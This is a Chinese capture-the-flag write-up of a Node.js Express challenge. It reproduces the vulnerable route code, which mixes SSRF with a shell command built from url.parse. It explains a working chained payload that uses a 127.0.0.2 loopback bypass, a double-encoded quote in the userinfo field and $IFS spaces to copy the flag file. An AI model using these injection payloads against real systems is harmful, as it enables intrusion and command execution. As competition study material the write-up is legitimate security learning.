题目描述
nodejs的url库真好用
攻击分析
直接访问
一个空的json,啥也没有。
源码
真正的web逻辑在routes\index.js
下:
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
可以看出还有一个/debug
路径,对该路径进行GET请求时,程序会先判断访问ip是否在blacklist
中,如果不存在,也就是不是本地回环访问,则返回空json。(这里是把blacklist当成whitelist用了)如果是本地访问就读取get参数中的url
参数,去除其中的单引号和双引号,然后用nodejs的url.parse
去解析。把解析后的url拼接到一条shell命令中执行。之后返回/tmp/log
文件中的内容。可见题目应该是想考察命令注入。
对该路径进行POST请求时,程序会检测是否提交了url参数,若提交了该参数则会用url.parse
解析,然后判断其中的主机名字段是否在blacklist
中,如果主机名没有被ban掉,则去使用GET方法请求url
参数中所提交的url,返回请求的内容。
Payload构造
根据程序逻辑,可见应先POST /debug
,在url
参数中绕过blacklist,让程序再GET请求自己的/debug
路径,即可绕过白名单,之后构造注入命令。
['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1']
可以看到黑名单中只过滤了127.0.0.1相关的回环地址,但实际上127.0.0.1到127.255.255.254都是回环地址,随便挑一个就能绕过POST请求的黑名单
在这里插入图片描述
下一步是闭合引号,这就和nodejs的url库的具体实现相关了。如果我们在参数中加入url编码后的引号也就是%27,则参数会被web服务器先预解码,在传到replace
函数前就已经是解码后的引号,因此会被换掉。
想到可以二次编码,把%
也编码,即%2527
,但是这需要二次解码,比赛时由线下赛没网,没有nodejs的源码,不知道去哪找二次解码的部分。后来在https://github.com/nodejs/node/blob/master/lib/url.js看到:
意思是@
前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:
{"url":"http://127.0.0.2/debug?url=http://%2527@xx"}
在下一步就是想办法吧flag传回来,可以使用cp
命令把flag文件直接复制到/tmp/log
下,但是需要空格分离,这里用到了linux shell里一个特殊的变量$IFS
,这个变量意为 Internal Field Separator (内部字段分隔符),默认值就是空格。于是可以构造最终的payload:
{"url":"http://127.0.0.2/debug?url=http://%2527;%2527@xx;cp$IFS/tmp/flag$IFS/tmp/log%00"}
(最后%00截断后续命令)
防守分析
本题上传防守薄后要在shell脚本里重启nodejs,当时忘记了npm start
启动的进程叫什么,没有守成功,后来发现应该先pkill node;pkill npm
结束进程。